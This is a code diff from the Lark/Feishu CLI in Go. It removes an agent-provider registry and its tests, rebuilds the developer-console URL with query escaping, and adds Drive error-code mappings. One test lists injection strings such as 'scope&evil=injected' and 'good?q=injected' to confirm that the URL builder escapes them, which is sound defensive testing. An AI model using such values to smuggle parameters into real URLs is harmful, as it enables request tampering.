-	"github.com/larksuite/cli/internal/core"
-)
-
-// Deps are the dependencies a provider factory needs (injected by the command
-// layer to avoid internal/agent depending on cmd).
-type Deps struct {
-	Client *client.APIClient
-	As     core.Identity
-}
-
-// Factory constructs a Provider from an agentID plus dependencies.
-type Factory func(deps Deps, agentID string) (*Provider, error)
-
-// ProviderKind is the closed set of provider forms (validated at Register time
-// to guard against cast typos).
-type ProviderKind string
-
-const (
-	// KindCatalog is the catalog type: the full agent set is known at
-	// registration time, and it must wire Provider.ListAgents.
-	KindCatalog ProviderKind = "catalog"
-	// KindInstance is the instance type: agents are created by users on the
-	// platform and cannot be enumerated by the CLI in advance.
-	KindInstance ProviderKind = "instance"
-)
-
-// ProviderInfo is a provider's registration contract: metadata beyond Factory
-// consumed by platform capabilities such as `agent list`, card synthesis, and
-// scope preflight. Everything except RequiredScopes is required (Register
-// validates fail-fast).
-type ProviderInfo struct {
-	// Factory constructs the Provider for this scheme. Factory must accept
-	// zero-value Deps and have no side effects during construction — this
-	// contract is enforced at registration time by Register's zero-value Deps
-	// probe (a violation panics), and agent list also constructs a probe
-	// instance with empty Deps to read the ListAgents capability
-	// (cmd/agent/list.go probeDiscoverer). Because the probe passes zero Deps and
-	// empty agentID, capability wiring must not depend on either.
-	Factory Factory
-	// Label is the user-facing provider name.
-	Label string
-	// AgentRefFormat is the written format of agent_ref, e.g. "example:<agent_id>";
-	// it must be prefixed with "<scheme>:" (validated by Register).
-	AgentRefFormat string
-	// AgentIDSource tells the user where to obtain the agent_id (key information
-	// for AI-guided onboarding).
-	AgentIDSource string
-	// Kind is the provider form: KindCatalog (catalog type) or KindInstance
-	// (instance type). Catalog types must wire Provider.ListAgents (asserted at
-	// Register time).
-	Kind ProviderKind
-	// RequiredScopes is the full (flat) set of scopes needed by any real API
-	// call this provider makes; preflight is all-or-nothing.
-	RequiredScopes []string
-	// Identities declares the supported calling identities and their
-	// preconditions; non-empty and Type ∈ {user, bot} (validated by Register).
-	Identities []IdentitySpec
-}
-
-var providerRegistry = map[string]ProviderInfo{}
-
-// Register is called by each adapter package in its init() to register itself
-// (exported so adapter packages like example can call it across packages).
-// Missing / invalid metadata is an integrator coding error and panics fail-fast
-// (including duplicate registration, aligned with the sql.Register convention).
-// At registration time it also constructs a Provider once via a zero-value Deps
-// probe: Factory must accept zero-value Deps (returning an error panics), and a
-// KindCatalog instance must implement Discoverer.
-func Register(scheme string, info ProviderInfo) {
-	if scheme == "" {
-		panic("agent: provider registration with empty scheme")
-	}
-	if _, dup := providerRegistry[scheme]; dup {
-		panic("agent: Register called twice for scheme: " + scheme)
-	}
-	switch {
-	case info.Factory == nil:
-		panic("agent: provider registration missing Factory: " + scheme)
-	case info.Label == "":
-		panic("agent: provider registration missing Label: " + scheme)
-	case info.AgentRefFormat == "":
-		panic("agent: provider registration missing AgentRefFormat: " + scheme)
-	case !strings.HasPrefix(info.AgentRefFormat, scheme+":"):
-		panic("agent: provider registration AgentRefFormat must start with \"" + scheme + ":\": " + scheme + ", got: " + info.AgentRefFormat)
-	case info.AgentIDSource == "":
-		panic("agent: provider registration missing AgentIDSource: " + scheme)
-	case info.Kind != KindCatalog && info.Kind != KindInstance:
-		panic("agent: provider registration invalid Kind (want catalog|instance): " + scheme + ", got: " + string(info.Kind))
-	case len(info.Identities) == 0:
-		panic("agent: provider registration missing Identities: " + scheme)
-	}
-	for _, id := range info.Identities {
-		if id.Type != IdentityUser && id.Type != IdentityBot {
-			panic("agent: provider registration invalid Identity Type (want user|bot): " + scheme + ", got: " + string(id.Type))
-		}
-	}
-	// Zero-value Deps construction probe: turns the Factory contract (see the
-	// ProviderInfo.Factory comment) from a pure convention into a
-	// registration-time enforcement, preventing capabilities from silently
-	// disappearing on the agent list probing path.
-	p, err := info.Factory(Deps{}, "")
-	if err != nil {
-		panic("agent: provider factory must accept zero-value Deps: " + scheme + ", got error: " + err.Error())
-	}
-	if p == nil {
-		panic("agent: provider factory returned nil Provider: " + scheme)
-	}
-	// Core capabilities are mandatory for every provider — a provider you cannot
-	// send to or read a task back from is not usable. The command layer relies on
-	// these never being nil (no nil-check before dispatch), so enforce it here.
-	switch {
-	case p.Send == nil:
-		panic("agent: provider missing core Send: " + scheme)
-	case p.GetTask == nil:
-		panic("agent: provider missing core GetTask: " + scheme)
-	}
-	// A catalog provider's full agent set is known offline, so it must be
-	// enumerable (wire ListAgents); an instance provider need not be.
-	if info.Kind == KindCatalog && p.ListAgents == nil {
-		panic("agent: catalog provider must wire ListAgents: " + scheme)
-	}
-	providerRegistry[scheme] = info
-}
-
-// Info returns the registration value for a scheme (the struct is returned by
-// value, but its slice fields share the underlying array with the registry, so
-// the caller must treat them as read-only); returns ok=false if not registered.
-func Info(scheme string) (ProviderInfo, bool) {
-	info, ok := providerRegistry[scheme]
-	return info, ok
-}
-
-// providerFor fetches the factory for a scheme and constructs a Provider. An
-// unknown scheme returns an error listing the available options.
-func providerFor(scheme, agentID string, deps Deps) (*Provider, error) {
-	info, ok := providerRegistry[scheme]
-	if !ok {
-		return nil, fmt.Errorf("未知的 agent provider '%s'，当前支持: %s", scheme, KnownSchemes())
-	}
-	return info.Factory(deps, agentID)
-}
-
-// KnownSchemes returns a comma-separated list of registered schemes (stably
-// sorted), or "(none)" when empty (exported: cmd/agent's unknown-scheme message
-// reuses the same implementation to avoid double-sourcing).
-func KnownSchemes() string {
-	s := RegisteredSchemes()
-	if len(s) == 0 {
-		return "(none)"
-	}
-	return strings.Join(s, ", ")
-}
-
-// Resolve parses a ref and constructs the corresponding Provider (command-layer entry point).
-func Resolve(ref string, deps Deps) (*Provider, error) {
-	r, err := ParseRef(ref)
-	if err != nil {
-		return nil, err
-	}
-	return providerFor(r.Scheme, r.AgentID, deps)
-}
-
-// RegisteredSchemes lets `agent list` enumerate registered providers (exported for cmd/agent).
-func RegisteredSchemes() []string {
-	s := make([]string, 0, len(providerRegistry))
-	for k := range providerRegistry {
-		s = append(s, k)
-	}
-	sort.Strings(s)
-	return s
-}

internal/agent/registry_test.go

@@ -1,275 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"errors"
-	"reflect"
-	"strings"
-	"testing"
-)
-
-// swapRegistry replaces the global providerRegistry with the given map (restored
-// automatically via t.Cleanup), for test isolation. It swaps the global variable
-// without a lock, so callers must not use t.Parallel.
-func swapRegistry(t *testing.T, m map[string]ProviderInfo) {
-	t.Helper()
-	saved := providerRegistry
-	providerRegistry = m
-	t.Cleanup(func() { providerRegistry = saved })
-}
-
-// okProvider is a minimal valid provider: it wires the two mandatory core fields
-// (Send/GetTask) so it passes Register's zero-Deps probe. Tests that need extra
-// capabilities set the fields on the returned struct.
-func okProvider() *Provider {
-	return &Provider{
-		Send:    func(context.Context, SendInput) (*AgentTask, error) { return nil, nil },
-		GetTask: func(context.Context, string) (*AgentTask, error) { return nil, nil },
-	}
-}
-
-// okFactory returns a Factory yielding okProvider — the default for cases that
-// only care about metadata/registry behavior, not capabilities.
-func okFactory() Factory {
-	return func(Deps, string) (*Provider, error) { return okProvider(), nil }
-}
-
-// testInfo builds a minimal ProviderInfo that passes Register validation
-// (AgentRefFormat is generated from the scheme so it satisfies the prefix check),
-// reused by cases that only care about the Factory.
-func testInfo(scheme string, f Factory) ProviderInfo {
-	return ProviderInfo{
-		Factory:        f,
-		Label:          "test provider",
-		AgentRefFormat: scheme + ":<agent_id>",
-		AgentIDSource:  "test source",
-		Kind:           KindInstance,
-		Identities:     []IdentitySpec{{Type: IdentityUser}},
-	}
-}
-
-// mustPanic asserts that fn panics and the message contains wantMsg.
-func mustPanic(t *testing.T, wantMsg string, fn func()) {
-	t.Helper()
-	defer func() {
-		r := recover()
-		if r == nil {
-			t.Fatalf("should panic (want message containing %q)", wantMsg)
-		}
-		msg, _ := r.(string)
-		if !strings.Contains(msg, wantMsg) {
-			t.Fatalf("panic message should contain %q, got %q", wantMsg, msg)
-		}
-	}()
-	fn()
-}
-
-// TestRegisterPanicBranches table-drives the Register fail-fast panic branches
-// on metadata fields: missing Factory / Label / AgentRefFormat / AgentIDSource /
-// Identities, an invalid Kind, an invalid Identity Type, and an AgentRefFormat
-// that does not start with "<scheme>:" (panic messages must carry the actual
-// offending value). Metadata validation runs before the probe, so a valid
-// okFactory keeps the probe from firing first.
-func TestRegisterPanicBranches(t *testing.T) {
-	cases := []struct {
-		name    string
-		mutate  func(info *ProviderInfo)
-		wantMsg string
-	}{
-		{"missing Factory", func(info *ProviderInfo) { info.Factory = nil }, "missing Factory"},
-		{"missing Label", func(info *ProviderInfo) { info.Label = "" }, "missing Label"},
-		{"missing AgentRefFormat", func(info *ProviderInfo) { info.AgentRefFormat = "" }, "missing AgentRefFormat"},
-		{"missing AgentIDSource", func(info *ProviderInfo) { info.AgentIDSource = "" }, "missing AgentIDSource"},
-		{"invalid Kind", func(info *ProviderInfo) { info.Kind = "weird" }, "got: weird"},
-		{"missing Identities", func(info *ProviderInfo) { info.Identities = nil }, "missing Identities"},
-		{"invalid Identity Type", func(info *ProviderInfo) {
-			info.Identities = []IdentitySpec{{Type: "robot"}}
-		}, "got: robot"},
-		{"AgentRefFormat wrong prefix", func(info *ProviderInfo) {
-			info.AgentRefFormat = "other:<agent_id>"
-		}, "must start with \"bad:\""},
-	}
-	for _, tc := range cases {
-		t.Run(tc.name, func(t *testing.T) {
-			swapRegistry(t, map[string]ProviderInfo{})
-			info := testInfo("bad", okFactory())
-			tc.mutate(&info)
-			mustPanic(t, tc.wantMsg, func() { Register("bad", info) })
-		})
-	}
-}
-
-// TestRegisterEmptyScheme pins the empty-scheme fail-fast branch.
-func TestRegisterEmptyScheme(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	mustPanic(t, "empty scheme", func() { Register("", testInfo("", okFactory())) })
-}
-
-// TestRegisterDuplicateScheme pins the sql.Register-style dup panic.
-func TestRegisterDuplicateScheme(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	Register("dup", testInfo("dup", okFactory()))
-	mustPanic(t, "called twice for scheme: dup", func() { Register("dup", testInfo("dup", okFactory())) })
-}
-
-// TestRegisterFactoryZeroDepsProbe pins the registration-time zero-Deps probe:
-// a factory erroring under zero-value Deps is a contract violation and panics.
-func TestRegisterFactoryZeroDepsProbe(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	bad := func(Deps, string) (*Provider, error) { return nil, errors.New("need client") }
-	mustPanic(t, "must accept zero-value Deps", func() { Register("zd", testInfo("zd", bad)) })
-}
-
-// TestRegisterNilProvider pins the probe's nil-Provider branch.
-func TestRegisterNilProvider(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	nilP := func(Deps, string) (*Provider, error) { return nil, nil }
-	mustPanic(t, "returned nil Provider", func() { Register("np", testInfo("np", nilP)) })
-}
-
-// TestRegisterMissingCore pins that the mandatory core fields are enforced at
-// registration: a provider missing Send or GetTask panics fail-fast.
-func TestRegisterMissingCore(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	noSend := func(Deps, string) (*Provider, error) {
-		return &Provider{GetTask: func(context.Context, string) (*AgentTask, error) { return nil, nil }}, nil
-	}
-	mustPanic(t, "missing core Send", func() { Register("ns", testInfo("ns", noSend)) })
-
-	swapRegistry(t, map[string]ProviderInfo{})
-	noGet := func(Deps, string) (*Provider, error) {
-		return &Provider{Send: func(context.Context, SendInput) (*AgentTask, error) { return nil, nil }}, nil
-	}
-	mustPanic(t, "missing core GetTask", func() { Register("ng", testInfo("ng", noGet)) })
-}
-
-// TestRegisterCatalogRequiresListAgents pins the catalog-archetype MUST:
-// a KindCatalog provider whose probe instance does not wire ListAgents panics.
-// The factory wires the core fields so the panic is specifically about ListAgents
-// (not a missing-core panic firing first).
-func TestRegisterCatalogRequiresListAgents(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	info := testInfo("cat", okFactory()) // okProvider wires Send/GetTask but not ListAgents
-	info.Kind = KindCatalog
-	mustPanic(t, "must wire ListAgents", func() { Register("cat", info) })
-}
-
-func TestInfoReturnsRegisteredMetadata(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	Register("t1", ProviderInfo{
-		Factory:        okFactory(),
-		Label:          "测试 provider",
-		AgentRefFormat: "t1:<agent_id>",
-		AgentIDSource:  "在 T1 控制台获取",
-		Kind:           KindInstance,
-		RequiredScopes: []string{"t1:chat:write"},
-		Identities:     []IdentitySpec{{Type: IdentityUser}},
-	})
-	info, ok := Info("t1")
-	if !ok || info.Label != "测试 provider" || info.Kind != KindInstance {
-		t.Fatalf("Info(t1) = %+v, %v", info, ok)
-	}
-	if _, ok := Info("nonexistent"); ok {
-		t.Fatal("Info(nonexistent) should return ok=false")
-	}
-}
-
-func TestRegistryUnknownScheme(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	// unknown scheme: the factory is never called, so deps value is irrelevant; use zero-value Deps{}.
-	_, err := providerFor("nosuch", "agt_x", Deps{})
-	if err == nil {
-		t.Fatal("unknown scheme should return an error")
-	}
-}
-
-func TestRegistryKnownScheme(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	// The factory passes the zero-value Deps probe (empty agentID → a valid
-	// provider) and only errors on a real construction, staying compatible with
-	// the registration-time probe.
-	Register("stub", testInfo("stub", func(f Deps, agentID string) (*Provider, error) {
-		if agentID == "" {
-			return okProvider(), nil
-		}
-		return nil, errors.New("stub called")
-	}))
-	_, err := providerFor("stub", "agt_x", Deps{})
-	if err == nil || err.Error() != "stub called" {
-		t.Fatalf("should reach the stub factory, got %v", err)
-	}
-}
-
-func TestKnownSchemesEmpty(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	if got := KnownSchemes(); got != "(none)" {
-		t.Fatalf("an empty registry should return \"(none)\", got %q", got)
-	}
-}
-
-func TestRegisteredSchemesSorted(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	// Register out of order to verify enumeration + sort stability.
-	Register("gamma", testInfo("gamma", okFactory()))
-	Register("alpha", testInfo("alpha", okFactory()))
-	Register("beta", testInfo("beta", okFactory()))
-	got := RegisteredSchemes()
-	want := []string{"alpha", "beta", "gamma"}
-	if !reflect.DeepEqual(got, want) {
-		t.Fatalf("RegisteredSchemes should enumerate and sort, want %v got %v", want, got)
-	}
-	// knownSchemes reuses RegisteredSchemes; verify the comma joining.
-	if s := KnownSchemes(); s != "alpha, beta, gamma" {
-		t.Fatalf("knownSchemes should be comma-joined, got %q", s)
-	}
-}
-
-func TestResolveInvalidRef(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	// Missing the <scheme>:<agent_id> separator, so ParseRef errors and Resolve propagates it as-is.
-	_, err := Resolve("no-colon", Deps{})
-	if !errors.Is(err, ErrInvalidRef) {
-		t.Fatalf("an invalid ref should propagate ErrInvalidRef, got %v", err)
-	}
-}
-
-func TestResolveUnknownScheme(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	// The ref is valid but the scheme is unregistered, so the error comes from providerFor.
-	_, err := Resolve("nosuch:agt_x", Deps{})
-	if err == nil {
-		t.Fatal("an unregistered scheme should return an error")
-	}
-	if errors.Is(err, ErrInvalidRef) {
-		t.Fatalf("an unregistered scheme should not be ErrInvalidRef, got %v", err)
-	}
-}
-
-func TestResolveSuccess(t *testing.T) {
-	swapRegistry(t, map[string]ProviderInfo{})
-	sentinel := okProvider()
-	var gotDeps Deps
-	var gotAgentID string
-	Register("demo", testInfo("demo", func(deps Deps, agentID string) (*Provider, error) {
-		gotDeps = deps
-		gotAgentID = agentID
-		return sentinel, nil
-	}))
-	deps := Deps{}
-	p, err := Resolve("demo:agt_42", deps)
-	if err != nil {
-		t.Fatalf("a valid ref + registered scheme should succeed, got %v", err)
-	}
-	if p != sentinel {
-		t.Fatalf("should return the Provider built by the factory, got %v", p)
-	}
-	if gotAgentID != "agt_42" {
-		t.Fatalf("factory should receive the parsed agentID, got %q", gotAgentID)
-	}
-	if gotDeps != deps {
-		t.Fatalf("factory should receive the passed-in Deps, got %+v", gotDeps)
-	}
-}

internal/agent/spi.go

@@ -1,26 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// IdentityType is the closed set of values for IdentitySpec.Type (validated at
-// Register time to guard against typos).
-type IdentityType string
-
-const (
-	IdentityUser IdentityType = "user"
-	IdentityBot  IdentityType = "bot"
-)
-
-// IdentitySpec declares a supported identity and its precondition, if any.
-type IdentitySpec struct {
-	Type         IdentityType `json:"type"` // IdentityUser | IdentityBot
-	Precondition string       `json:"precondition,omitempty"`
-}
-
-// AgentSummary is one discoverable agent in `agent list <scheme>` output.
-type AgentSummary struct {
-	AgentRef    string `json:"agent_ref"`
-	Name        string `json:"name"`
-	Description string `json:"description,omitempty"`
-}

internal/agent/state.go

@@ -1,35 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// TaskState is the A2A task state, constant across all providers (9 states).
-type TaskState string
-
-const (
-	StateSubmitted     TaskState = "submitted"
-	StateWorking       TaskState = "working"
-	StateInputRequired TaskState = "input_required"
-	StateAuthRequired  TaskState = "auth_required"
-	StateCompleted     TaskState = "completed"
-	StateFailed        TaskState = "failed"
-	StateCanceled      TaskState = "canceled"
-	StateRejected      TaskState = "rejected"
-	StateUnknown       TaskState = "unknown"
-)
-
-// IsTerminal reports whether the task has entered a terminal state.
-func (s TaskState) IsTerminal() bool {
-	switch s {
-	case StateCompleted, StateFailed, StateCanceled, StateRejected:
-		return true
-	default:
-		return false
-	}
-}
-
-// ShouldStopPolling reports whether polling should stop: terminal state, or
-// awaiting additional input / re-authentication.
-func (s TaskState) ShouldStopPolling() bool {
-	return s.IsTerminal() || s == StateInputRequired || s == StateAuthRequired
-}

internal/agent/state_test.go

@@ -1,34 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "testing"
-
-func TestIsTerminal(t *testing.T) {
-	cases := map[TaskState]bool{
-		StateSubmitted: false, StateWorking: false, StateInputRequired: false,
-		StateAuthRequired: false, StateCompleted: true, StateFailed: true,
-		StateCanceled: true, StateRejected: true, StateUnknown: false,
-	}
-	for s, want := range cases {
-		if got := s.IsTerminal(); got != want {
-			t.Errorf("%s.IsTerminal()=%v want %v", s, got, want)
-		}
-	}
-}
-
-func TestShouldStopPolling(t *testing.T) {
-	stop := []TaskState{StateCompleted, StateFailed, StateCanceled, StateRejected, StateInputRequired, StateAuthRequired}
-	cont := []TaskState{StateSubmitted, StateWorking, StateUnknown}
-	for _, s := range stop {
-		if !s.ShouldStopPolling() {
-			t.Errorf("%s should stop polling", s)
-		}
-	}
-	for _, s := range cont {
-		if s.ShouldStopPolling() {
-			t.Errorf("%s should keep polling", s)
-		}
-	}
-}

internal/errclass/classify.go

@@ -10,12 +10,14 @@ import (
 	"strings"
 
 	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/core"
 )
 
 // ClassifyContext is the contextual data BuildAPIError uses to populate
 // identity-aware fields on typed errors (PermissionError.Identity / ConsoleURL).
-// Identity is a plain string ("user" / "bot" / "") so this package does not
-// depend on internal/core (which would create an import cycle).
+// Brand and Identity are plain strings at this boundary; ConsoleURL normalizes
+// Brand through core.ParseBrand, so callers can pass a raw brand string without
+// coupling this contract to core's brand enum.
 type ClassifyContext struct {
 	Brand    string // "feishu" | "lark" — drives console_url host
 	AppID    string // placed in console_url
@@ -444,28 +446,27 @@ func extractMissingScopes(resp map[string]any) []string {
 	return out
 }
 
-// ConsoleURL composes the Feishu/Lark open-platform scope-grant console URL,
-// suitable for PermissionError.ConsoleURL. Empty appID → empty string. Empty
-// scopes list returns the bare /auth landing page; scopes are joined with
-// commas in the `q` query parameter so the console can pre-select them.
+// ConsoleURL composes the Feishu/Lark open-platform application-scope apply
+// page URL (the official open-pages `/page/scope-apply` entry), suitable for
+// PermissionError.ConsoleURL. Empty appID → empty string. Empty scopes list
+// returns the page carrying only clientID; otherwise scopes are joined with
+// commas in the `scopes` query parameter so the console can pre-select them.
 //
 // brand is "feishu" or "lark"; unknown values default to feishu.
 func ConsoleURL(brand, appID string, scopes []string) string {
 	if appID == "" {
 		return ""
 	}
-	host := "open.feishu.cn"
-	if brand == "lark" {
-		host = "open.larksuite.com"
-	}
-	// PathEscape on appID — it sits in the URL path. QueryEscape on the
-	// comma-joined scopes — they sit in the `?q=` value, and untrusted scope
-	// content must not be able to inject extra query parameters via `&`/`#`.
-	pathID := url.PathEscape(appID)
+	// QueryEscape both values — clientID and scopes both sit in the query
+	// string, and untrusted content must not be able to inject extra query
+	// parameters via `&`/`#`. The brand→host mapping is owned by core so the
+	// open-platform base URL stays a single source of truth.
+	base := fmt.Sprintf("%s/page/scope-apply?clientID=%s",
+		core.ResolveOpenBaseURL(core.ParseBrand(brand)), url.QueryEscape(appID))
 	if len(scopes) == 0 {
-		return fmt.Sprintf("https://%s/app/%s/auth", host, pathID)
+		return base
 	}
-	return fmt.Sprintf("https://%s/app/%s/auth?q=%s", host, pathID, url.QueryEscape(strings.Join(scopes, ",")))
+	return base + "&scopes=" + url.QueryEscape(strings.Join(scopes, ","))
 }
 
 func intFromAny(v any) int {

internal/errclass/classify_test.go

@@ -422,8 +422,8 @@ func TestConsoleURL_FeishuBrand(t *testing.T) {
 	if !ok {
 		t.Fatalf("expected *errs.PermissionError, got %T", err)
 	}
-	if !strings.Contains(pe.ConsoleURL, "open.feishu.cn/app/cli_a123") {
-		t.Fatalf("ConsoleURL = %q, want open.feishu.cn prefix", pe.ConsoleURL)
+	if !strings.Contains(pe.ConsoleURL, "open.feishu.cn/page/scope-apply?clientID=cli_a123") {
+		t.Fatalf("ConsoleURL = %q, want open.feishu.cn scope-apply page", pe.ConsoleURL)
 	}
 }
 
@@ -434,8 +434,8 @@ func TestConsoleURL_LarkBrand(t *testing.T) {
 	if !ok {
 		t.Fatalf("expected *errs.PermissionError, got %T", err)
 	}
-	if !strings.Contains(pe.ConsoleURL, "open.larksuite.com/app/cli_a123") {
-		t.Fatalf("ConsoleURL = %q, want open.larksuite.com prefix", pe.ConsoleURL)
+	if !strings.Contains(pe.ConsoleURL, "open.larksuite.com/page/scope-apply?clientID=cli_a123") {
+		t.Fatalf("ConsoleURL = %q, want open.larksuite.com scope-apply page", pe.ConsoleURL)
 	}
 }
 
@@ -485,35 +485,35 @@ func TestConsoleURL_EscapesDangerousChars(t *testing.T) {
 			name:      "ampersand in scope smuggles extra param",
 			appID:     "cli_good",
 			scopes:    []string{"scope&evil=injected"},
-			wantInURL: []string{"q=scope%26evil%3Dinjected"},
-			denyInURL: []string{"q=scope&evil=injected"},
+			wantInURL: []string{"scopes=scope%26evil%3Dinjected"},
+			denyInURL: []string{"scopes=scope&evil=injected"},
 		},
 		{
 			name:      "hash in scope splits fragment",
 			appID:     "cli_good",
 			scopes:    []string{"scope#fragment"},
-			wantInURL: []string{"q=scope%23fragment"},
-			denyInURL: []string{"q=scope#fragment"},
+			wantInURL: []string{"scopes=scope%23fragment"},
+			denyInURL: []string{"scopes=scope#fragment"},
 		},
 		{
 			name:      "question mark in appID prematurely opens query",
 			appID:     "good?q=injected",
 			scopes:    []string{"docx:document"},
-			wantInURL: []string{"/app/good%3Fq=injected/auth"},
-			denyInURL: []string{"/app/good?q=injected/auth"},
+			wantInURL: []string{"clientID=good%3Fq%3Dinjected"},
+			denyInURL: []string{"clientID=good?q=injected"},
 		},
 		{
 			name:      "hash in appID truncates URL",
 			appID:     "good#fragment",
 			scopes:    []string{"docx:document"},
-			wantInURL: []string{"/app/good%23fragment/auth"},
-			denyInURL: []string{"/app/good#fragment/auth"},
+			wantInURL: []string{"clientID=good%23fragment"},
+			denyInURL: []string{"clientID=good#fragment"},
 		},
 		{
-			name:      "slash in appID escapes path segment",
+			name:      "slash in appID does not open a new path segment",
 			appID:     "good/extra/segment",
 			scopes:    []string{"docx:document"},
-			wantInURL: []string{"/app/good%2Fextra%2Fsegment/auth"},
+			wantInURL: []string{"clientID=good%2Fextra%2Fsegment"},
 		},
 	}
 
@@ -553,8 +553,8 @@ func TestPermissionError_NoViolations(t *testing.T) {
 	if pe.MissingScopes != nil {
 		t.Errorf("MissingScopes should be nil; got %v", pe.MissingScopes)
 	}
-	if !strings.HasSuffix(pe.ConsoleURL, "/app/cli_a123/auth") {
-		t.Errorf("ConsoleURL (no scopes) = %q, want trailing /app/cli_a123/auth", pe.ConsoleURL)
+	if !strings.HasSuffix(pe.ConsoleURL, "/page/scope-apply?clientID=cli_a123") {
+		t.Errorf("ConsoleURL (no scopes) = %q, want trailing /page/scope-apply?clientID=cli_a123", pe.ConsoleURL)
 	}
 }
 
@@ -758,7 +758,7 @@ func TestBuildPermissionHint_AppMissingScopeRoutesToConsole(t *testing.T) {
 	// at the app level — re-authenticating cannot fix it. The hint must
 	// point to the developer console regardless of caller identity, or
 	// agents will loop on `auth login` forever.
-	consoleURL := "https://open.feishu.cn/app/cli_x/auth?q=contact%3Acontact"
+	consoleURL := "https://open.feishu.cn/page/scope-apply?clientID=cli_x&scopes=contact%3Acontact"
 	for _, identity := range []string{"user", "bot", ""} {
 		got := errclass.PermissionHint([]string{"contact:contact"}, identity, errs.SubtypeAppScopeNotApplied, consoleURL)
 		if !strings.Contains(got, "developer console") {

internal/errclass/codemeta_drive.go

@@ -10,8 +10,20 @@ import "github.com/larksuite/cli/errs"
 // ambiguous codes fall back to CategoryAPI via BuildAPIError.
 // BuildAPIError consumes this map via mergeCodeMeta + LookupCodeMeta.
 var driveCodeMeta = map[int]CodeMeta{
-	1061044: {Category: errs.CategoryAPI, Subtype: errs.SubtypeNotFound},          // parent folder does not exist (upload)
-	1069302: {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters}, // comment endpoint "Invalid or missing parameters"
+	1061001:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeServerError, Retryable: true}, // Drive "unknown error"
+	1061002:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // params error
+	1061004:  {Category: errs.CategoryAuthorization, Subtype: errs.SubtypePermissionDenied},   // forbidden
+	1061007:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeNotFound},                     // file has been deleted
+	1061043:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeQuotaExceeded},                // file size beyond limit
+	1061044:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeNotFound},                     // parent folder does not exist (upload)
+	1062009:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // actual size inconsistent with declared size
+	1063001:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // secure label invalid parameter
+	1063002:  {Category: errs.CategoryAuthorization, Subtype: errs.SubtypePermissionDenied},   // secure label permission denied
+	1063013:  {Category: errs.CategoryValidation, Subtype: errs.SubtypeFailedPrecondition},    // secure label downgrade requires approval
+	1069302:  {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // comment endpoint "Invalid or missing parameters"
+	99992402: {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // platform field validation failed
+	9499:     {Category: errs.CategoryAPI, Subtype: errs.SubtypeInvalidParameters},            // invalid parameter type in JSON field
+	2200:     {Category: errs.CategoryAPI, Subtype: errs.SubtypeServerError, Retryable: true}, // Drive tenant/internal errors
 }
 
 func init() { mergeCodeMeta(driveCodeMeta, "drive") }

internal/errclass/codemeta_drive_test.go

@@ -27,6 +27,13 @@ func TestLookupCodeMeta_DriveCodes(t *testing.T) {
 		// 1069302: comment endpoint's opaque "Invalid or missing parameters"
 		// (shortcuts/drive/drive_add_comment.go) → API-side parameter rejection.
 		{1069302, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		// Secure label endpoint codes observed from drive +secure-label-update
+		// failure telemetry.
+		{1063001, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{1063002, errs.CategoryAuthorization, errs.SubtypePermissionDenied, false},
+		{1063013, errs.CategoryValidation, errs.SubtypeFailedPrecondition, false},
+		{99992402, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{9499, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
 	}
 	for _, tc := range cases {
 		t.Run(fmt.Sprintf("%d", tc.code), func(t *testing.T) {

internal/errclass/codemeta_test.go

@@ -102,6 +102,35 @@ func TestLookupCodeMeta_RetryableRateLimit(t *testing.T) {
 	}
 }
 
+func TestLookupCodeMeta_DrivePushCodes(t *testing.T) {
+	cases := []struct {
+		code        int
+		wantCat     errs.Category
+		wantSubtype errs.Subtype
+		wantRetry   bool
+	}{
+		{1061001, errs.CategoryAPI, errs.SubtypeServerError, true},
+		{1061002, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{1061004, errs.CategoryAuthorization, errs.SubtypePermissionDenied, false},
+		{1061007, errs.CategoryAPI, errs.SubtypeNotFound, false},
+		{1061043, errs.CategoryAPI, errs.SubtypeQuotaExceeded, false},
+		{1062009, errs.CategoryAPI, errs.SubtypeInvalidParameters, false},
+		{2200, errs.CategoryAPI, errs.SubtypeServerError, true},
+	}
+	for _, tc := range cases {
+		t.Run(fmt.Sprintf("%d", tc.code), func(t *testing.T) {
+			got, ok := LookupCodeMeta(tc.code)
+			if !ok {
+				t.Fatalf("LookupCodeMeta(%d) ok=false, want true", tc.code)
+			}
+			if got.Category != tc.wantCat || got.Subtype != tc.wantSubtype || got.Retryable != tc.wantRetry {
